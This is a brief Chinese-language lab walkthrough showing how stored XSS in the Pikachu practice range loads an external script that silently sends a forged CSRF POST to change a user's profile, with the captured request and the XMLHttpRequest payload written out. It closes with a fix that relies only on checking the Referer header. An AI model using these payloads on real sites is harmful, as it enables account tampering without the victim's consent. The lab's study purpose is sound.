csrf+xss组合拳攻击
- csrf
伪造一个修改信息的链接,受害者点击了就会出现信息的修改
xss
存储式
将恶意js代码存储于服务器中,用户访问页执行恶意代码。
链接存在于get或者post传参中,用户点击,恶意代码执行
皮卡丘靶场实践
在服务器端建立一个js文件
alert(1)
使用
<script type="text/javascript" src="http://192.168.56.3:8083/1.js"></script>
在存储式xss区域写入这个标签
这时候就会弹窗,我们回到scrfpost模块随便登入一个账号(不知道账号在sql注入模块查)
修改信息,抓包
POST /vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1
Host: 192.168.56.3:8083
Referer: http://192.168.56.3:8083/vul/csrf/csrfpost/csrf_post_edit.php
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=1i03ujnepkrsnod6r7847h69b4
Origin: http://192.168.56.3:8083
Content-Length: 79
sex=boy&phonenum=13676765545&add=nba+hs&email=grady%40pikachu.com&submit=submit
构造特殊js语句
xmlhttp = new XMLHttpRequest()
xmlhttp.open("post","http://192.168.56.3:8083/vul/csrf/csrfpost/csrf_post_edit.php")
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("sex=123123&phonenum=123123&add=usa&email=123123&submit=submit");
alert("信息被修改!");
存入http://192.168.56.3:8083/1.js地址中
访问存储xss的区域
返回查看信息
总结
scrf是一个1click的漏洞,需要用户做一次操作,而通过存储式xss即可实现0click的攻击,通过用户让的浏览器自动访问目标所实现
修复
验证Referer头,通过添加信任的Re头来规避scrf